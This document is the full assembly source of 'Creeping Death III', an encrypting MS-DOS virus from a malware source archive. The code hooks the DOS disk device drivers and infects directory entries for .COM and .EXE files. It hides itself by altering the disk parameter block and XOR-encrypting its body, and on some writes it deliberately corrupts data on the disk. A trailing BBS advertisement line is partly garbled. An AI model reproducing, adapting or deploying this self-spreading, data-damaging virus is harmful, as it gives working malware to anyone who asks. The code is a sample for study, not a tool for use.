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MalwareSourceCode/MSDOS/C-Index/Virus.MSDOS.Unknown.cdset6.asm

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;*****************************************************************************;
; ;
; Creeping Death III (Encrypting, try to find it) ;
; ;
; (c) Copyright 1992 by Bit Addict ;
; ;
;*****************************************************************************;
code segment public 'code'
assume cs:code, ds:code, es:code, ss:code
;*****************************************************************************;
; ;
; Data ;
; ;
;*****************************************************************************;
org 5ch ; use the space reserved for
; the fcbs and command line
; for more inportant data,
; because we won't need this
; data when the virus is
; installed
EncryptWrite2: db 36 dup(?) ; Encrypt DoRequest Encrypt
BPB_Buf db 32 dup(?) ; buffer for BPB
Request equ this dword ; address of the request header
RequestOffset dw ?
RequestSegment dw ?
org 100h ; com-file starts at offset 100
; hex
;*****************************************************************************;
; ;
; Actual start of virus. In this part the virus initializes the stack and ;
; adjusts the device driver used by dos to read and write from floppy's and ;
; hard disks. Then it will start the orginal exe or com-file ;
; ;
;*****************************************************************************;
Encrypt: mov si,offset Main-1 ; this part of the program
mov cx,400h-11 ; will decode the encoded
Repeat: xor byte ptr [si],0 ; program, so it can be
inc si ; executed
loop Repeat
Main: mov sp,600h ; init stack
inc word ptr Counter
;*****************************************************************************;
; ;
; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ;
; si will be -1 ;
; ;
;*****************************************************************************;
DosVersion: mov ah,30h ; fn 30h = Get Dosversion
int 21h ; int 21h
cmp al,4 ; major dosversion
sbb di,di
mov byte ptr drive[2],-1 ; set 2nd operand of cmp ah,??
;*****************************************************************************;
; ;
; Adjust the size of the codesegment, with dos function 4ah ;
; ;
;*****************************************************************************;
mov bx,60h ; Adjust size of memory block
mov ah,4ah ; to 60 paragraphs = 600h bytes
int 21h ; int 21h
mov ah,52h ; get internal list of lists
int 21h ; int 21h
;*****************************************************************************;
; ;
; If the virus code segment is located behind the dos config memory block the ;
; code segment will be part of the config memory block making it 61h ;
; paragraphs larger. If the virus is not located next to the config memory ;
; block the virus will set the owner to 8h (Dos system) ;
; ;
;*****************************************************************************;
mov ax,es:[bx-2] ; segment of first MCB
mov dx,cs ; dx = MCB of the code segment
dec dx
NextMCB: mov ds,ax ; ax = segment next MCB
add ax,ds:[3]
inc ax
cmp ax,dx ; are they equal ?
jne NextMCB ; no, not 1st program executed
cmp word ptr ds:[1],8
jne NoBoot
add word ptr ds:[3],61h ; add 61h to size of block
NoBoot: mov ds,dx ; ds = segment of MCB
mov word ptr ds:[1],8 ; owner = dos system
;*****************************************************************************;
; ;
; The virus will search for the disk paramenter block for drive a: - c: in ;
; order to find the device driver for these block devices. If any of these ;
; blocks is found the virus will install its own device driver and set the ;
; access flag to -1 to tell dos this device hasn't been accesed yet. ;
; ;
;*****************************************************************************;
cld ; clear direction flag
lds bx,es:[bx] ; get pointer to first drive
; paramenter block
Search: cmp bx,-1 ; last block ?
je Last
mov ax,ds:[bx+di+15h] ; get segment of device header
cmp ax,70h ; dos device header ??
jne Next ; no, go to next device
xchg ax,cx
mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive
; has not been accessed"
mov si,offset Header-4 ; set address of new device
xchg si,ds:[bx+di+13h] ; and save old address
mov ds:[bx+di+15h],cs
Next: lds bx,ds:[bx+di+19h] ; next drive parameter block
jmp Search
;*****************************************************************************;
; ;
; If the virus has failed in starting the orginal exe-file it will jump here. ;
; ;
;*****************************************************************************;
Boot: mov ds,ds:[16h] ; es = parent PSP
mov bx,ds:[16h] ; bx = parent PSP of Parent PSP
xor si,si
sub bx,1 ; filename+path available ?
jnb Exec ; yes, execute it
mov ax,cs ; get segment of MCB
dec ax
mov ds,ax
mov cl,8 ; count length of filename
mov si,8
mov di,0ffh
Count: lodsb
or al,al
loopne Count
not cl
and cl,7
NextByte: mov si,8 ; search for this name in the
inc di ; parent PSP to find the path
push di ; to this file
push cx
rep cmpsb
pop cx
pop di
jne NextByte
BeginName: dec di ; name found, search for start
cmp byte ptr es:[di-1],0 ; of name+path
jne BeginName
mov si,di
mov bx,es
jmp short Exec ; execute it
;*****************************************************************************;
; ;
; If none of these devices is found it means the virus is already resident ;
; and the virus wasn't able to start the orginal exe-file (the file is ;
; corrupted by copying it without the virus memory resident). If the device ;
; is found the information in the header is copied. ;
; ;
;*****************************************************************************;
Last: jcxz Exit
;*****************************************************************************;
; ;
; The information about the dos device driver is copyed to the virus code ;
; segment ;
; ;
;*****************************************************************************;
mov ds,cx ; ds = segment of Device Driver
add si,4
push cs
pop es
mov di,offset Header ; prepare header of the viral
movsw ; device driver and save the
lodsw ; address of the dos strategy
mov es:StrBlock,ax ; and interrupt procedures
mov ax,offset Strategy
stosw
lodsw
mov es:IntBlock,ax
mov ax,offset Interrupt
stosw
movsb
;*****************************************************************************;
; ;
; Deallocate the environment memory block and start the this file again, but ;
; if the virus succeeds it will start the orginal exe-file. ;
; ;
;*****************************************************************************;
push cs
pop ds
mov bx,ds:[2ch] ; environment segment
or bx,bx ; environment available ?
jz Boot ; no, computer is rebooted
mov es,bx
mov ah,49h ; deallocate memory
int 21h
xor ax,ax ; end of environment is marked
mov di,1 ; with two zero bytes
Seek: dec di ; scan for end of environment
scasw
jne Seek
lea si,ds:[di+2] ; es:si = start of filename
Exec: push bx
push cs
pop ds
mov bx,offset Param
mov ds:[bx+4],cs ; set segments in EPB
mov ds:[bx+8],cs
mov ds:[bx+12],cs
pop ds
push cs
pop es
mov di,offset Filename ; copy name of this file
push di
mov cx,40
rep movsw
push cs
pop ds
mov ah,3dh ; open file, this file will
mov dx,offset File ; not be found but the entire
int 21h ; directory is searched and
pop dx ; infected
mov ax,4b00h ; execute file
int 21h
Exit: mov ah,4dh ; get exit-code
int 21h
mov ah,4ch ; terminate (al = exit code)
int 21h
;*****************************************************************************;
; ;
; Installation complete ;
; ;
;*****************************************************************************;
; ;
; The next part contains the device driver used by creeping death to infect ;
; directory's ;
; ;
; The device driver uses only the strategy routine to handle the requests. ;
; I don't know if this is because the virus will work better or the writer ;
; of this virus didn't know how to do it right. ;
; ;
;*****************************************************************************;
Strategy: mov cs:RequestOffset,bx ; store segment and offset of
mov cs:RequestSegment,es ; request block
retf ; return to dos (or whatever
; called this device driver)
Interrupt: push ax ; driver strategy block
push bx ; save registers
push cx
push dx
push si
push di
push ds
push es
les bx,cs:Request ; es:bx = request block
push es ; ds:bx = request block
pop ds
mov al,ds:[bx+2] ; command code
cmp al,4 ; read sector from disk
je Input
cmp al,8 ; write sector to disk
je Output
cmp al,9
je Output
call DoRequest ; let dos do handle the request
cmp al,2 ; Build BPB
jne Return
lds si,ds:[bx+12h] ; copy the BPB and change it
mov di,offset bpb_buf ; into one that hides the virus
mov es:[bx+12h],di
mov es:[bx+14h],cs
push es ; copy
push cs
pop es
mov cx,16
rep movsw
pop es
push cs
pop ds
mov al,ds:[di+2-32] ; change
cmp al,2
adc al,0
cbw
cmp word ptr ds:[di+8-32],0 ; >32mb partition ?
je m32 ; yes, jump to m32
sub ds:[di+8-32],ax ; <32mb partition
jmp short Return
m32: sub ds:[di+15h-32],ax ; >32mb partition
sbb word ptr ds:[di+17h-32],0
Return: pop es ; return to caller
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retf
Output: inc byte ptr cs:Random ; increase counter
jnz Skip ; zero ?
push bx ; yes, change one byte in the
push ds ; sector to write
lds bx,ds:[bx+16h]
inc bh
inc byte ptr ds:[bx] ; destroy some data
pop ds
pop bx
Skip: mov cx,0ff09h
call Check ; check if disk changed
jz Disk ; yes, write virus to disk
jmp InfectSector ; no, just infect sector
Disk: call DoRequest
jmp short InfectDisk
ReadError: add sp,16 ; error during request
jmp short Return
Input: call check ; check if disk changed
jnz InfectDisk ; no, read sector
jmp Read
InfectDisk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk
cld ; save last part of request
lea si,ds:[bx+0eh]
mov cx,8
Save: lodsw
push ax
loop Save
mov word ptr ds:[bx+14h],1 ; read 1st sector on disk
call ReadSector
jnz ReadError
mov byte ptr ds:[bx+2],2 ; build BPB
call DoRequest
lds si,ds:[bx+12h] ; ds:si = BPB
mov di,ds:[si+6] ; size of root directory
add di,15 ; in sectors
mov cl,4
shr di,cl
mov al,ds:[si+5]
cbw
mov dx,ds:[si+0bh]
mul dx ; ax=fat sectors, dx=0
add ax,ds:[si+3]
add di,ax
push di ; save it on stack
mov ax,ds:[si+8] ; total number of sectors
cmp ax,dx ; >32mb
jnz More ; no, skip next 2 instructions
mov ax,ds:[si+15h] ; get number of sectors
mov dx,ds:[si+17h]
More: xor cx,cx ; cx=0
sub ax,di ; dx:ax=number is data sectors
sbb dx,cx
mov cl,ds:[si+2] ; cx=sectors / cluster
div cx ; number of clusters on disk
cmp cl,2 ; 1 sector/cluster ?
sbb ax,-1 ; number of clusters (+1 or +2)
push ax ; save it on stack
call Convert ; get fat sector and offset in
mov byte ptr es:[bx+2],4 ; sector
mov es:[bx+14h],ax
call ReadSector ; read fat sector
lds si,es:[bx+0eh]
add si,dx
sub dh,cl ; has something to do with the
adc dx,ax ; encryption of the pointers
mov word ptr cs:[gad+1],dx
cmp cl,1 ; 1 sector / cluster
jne Ok
not di ; this is used when the
and ds:[si],di ; clusters are 1 sector long
pop ax ; allocate 1st cluster
push ax
inc ax
push ax
mov dx,0fh
test di,dx
jz Here
inc dx
mul dx
Here: or ds:[si],ax
pop ax
call Convert
mov si,es:[bx+0eh]
add si,dx
Ok: mov ax,ds:[si] ; allocate last cluster
and ax,di
mov dx,di
dec dx
and dx,di
not di
and ds:[si],di
or ds:[si],dx
cmp ax,dx ; cluster already allocated by
pop ax ; the virus ?
pop di
mov word ptr cs:[pointer+1],ax
je DiskInfected ; yes, don't write it and go on
mov dx,ds:[si]
mov byte ptr es:[bx+2],8 ; write the adjusted sector to
call DoRequest ; disk
jnz DiskInfected
mov byte ptr es:[bx+2],4 ; read it again
call ReadSector
cmp ds:[si],dx ; is it written correctly ?
jne DiskInfected ; no, can't infect disk
dec ax
dec ax ; calculate the sector number
mul cx ; to write the virus to
add ax,di
adc dx,0
push es
pop ds
mov word ptr ds:[bx+12h],2
mov ds:[bx+14h],ax ; store it in the request hdr
test dx,dx
jz Less
mov word ptr ds:[bx+14h],-1
mov ds:[bx+1ah],ax
mov ds:[bx+1ch],dx
Less: mov ds:[bx+10h],cs
mov ds:[bx+0eh],100h
mov byte ptr es:[bx+2],8 ; write it
call EncryptWrite1
DiskInfected: mov byte ptr ds:[bx+2],4 ; restore this byte
std ; restore other part of the
lea di,ds:[bx+1ch] ; request
mov cx,8
Load: pop ax
stosw
loop Load
Read: call DoRequest ; do request
mov cx,9
InfectSector: mov di,es:[bx+12h] ; get number of sectors read
lds si,es:[bx+0eh] ; get address of data
sal di,cl ; calculate end of buffer
xor cl,cl
add di,si
xor dl,dl
push ds ; infect the sector
push si
call find
jcxz no_inf ; write sector ?
mov al,8
xchg al,es:[bx+2] ; save command byte
call DoRequest ; write sector
mov es:[bx+2],al ; restore command byte
and byte ptr es:[bx+4],07fh
no_inf: pop si
pop ds
inc dx ; disinfect sector in memory
call find
jmp Return ; return to caller
;*****************************************************************************;
; ;
; Subroutines ;
; ;
;*****************************************************************************;
Find: mov ax,ds:[si+8] ; (dis)infect sector in memory
cmp ax,"XE" ; check for .exe
jne com
cmp ds:[si+10],al
je found
Com: cmp ax,"OC" ; check for .com
jne go_on
cmp byte ptr ds:[si+10],"M"
jne go_on
Found: test word ptr ds:[si+1eh],0ffc0h ; file to big
jnz go_on ; more than 4mb
test word ptr ds:[si+1dh],03ff8h ; file to small
jz go_on ; less than 2048 bytes
test byte ptr ds:[si+0bh],1ch ; directory, system or
jnz go_on ; volume label
test dl,dl ; infect or disinfect ?
jnz rest
Pointer: mov ax,1234h ; ax = viral cluster
cmp ax,ds:[si+1ah] ; file already infected ?
je go_on ; yes, go on
xchg ax,ds:[si+1ah] ; exchange pointers
Gad: xor ax,1234h ; encryption
mov ds:[si+14h],ax ; store it on another place
loop go_on ; change cx and go on
Rest: xor ax,ax ; ax = 0
xchg ax,ds:[si+14h] ; get pointer
xor ax,word ptr cs:[gad+1] ; Encrypt
mov ds:[si+1ah],ax ; store it on the right place
Go_on: rol word ptr cs:[gad+1],1 ; change encryption
add si,32 ; next directory entry
cmp di,si ; end of buffer ?
jne find ; no, do it again
ret ; return
Check: mov ah,ds:[bx+1] ; get number of unit
Drive: cmp ah,-1 ; same as last call ?
mov byte ptr cs:[drive+2],ah ; set 2nd parameter
jne Changed
push ds:[bx+0eh] ; save word
mov byte ptr ds:[bx+2],1 ; disk changed ?
call DoRequest
cmp byte ptr ds:[bx+0eh],1 ; 1=Yes
pop ds:[bx+0eh] ; restore word
mov ds:[bx+2],al ; restore command
Changed: ret ; return
ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk
DoRequest: db 09ah ; call 70:?, orginal strategy
StrBlock dw ?,70h
db 09ah ; call 70:?, orginal interrupt
IntBlock dw ?,70h
test byte ptr es:[bx+4],80h ; error ? yes, zf = 0
ret ; return
Convert: cmp ax,0ff0h ; convert cluster number into
jae Fat16 ; an sector number and offset
mov si,3 ; into this sector containing
xor word ptr cs:[si+gad-1],si ; the fat-item of this
mul si ; cluster
shr ax,1
mov di,0fffh
jnc Continue
mov di,0fff0h
jmp short Continue
Fat16: mov si,2
mul si
mov di,0ffffh
Continue: mov si,512
div si
inc ax
ret
EncryptWrite1: push ds ; write virus to disk
push cs ; (encrypted) save regs
pop ds
push es
push cs
pop es
cld ; copy forward
mov cx,12 ; length of encryptor
mov si,offset Encrypt ; start of encryptor
mov di,offset EncryptWrite2 ; destenation
inc byte ptr ds:[si+8] ; change xor value
rep movsb ; copy encryptor
mov cl,10 ; copy dorequest proc
mov si,offset DoRequest
rep movsb
mov cl,12 ; copy encryptor
mov si,offset Encrypt
rep movsb
mov ax,0c31fh ; store "pop ds","ret"
stosw ; instructions
pop es ; restore register
jmp EncryptWrite2 ; encrypt and write vir
;*****************************************************************************;
; ;
; Data ;
; ;
;*****************************************************************************;
File db "C:",255,0 ; the virus tries to open this
; file
Counter dw 0 ; this will count the number of
; systems that are infected by
; this virus
Param dw 0,80h,?,5ch,?,6ch,? ; parameters for the
; exec-function
Random db ? ; if this byte becomes zero
; the virus will change the
; sector that will be written
; to disk
Header db 7 dup(?) ; this is the header for the
; device driver
Filename db ? ; Buffer for the filename used
; by the exec-function
;*****************************************************************************;
; ;
; The End ;
; ;
;*****************************************************************************;
code ends ; end of the viral code
end Encrypt ; start at offset 100h for
; com-file

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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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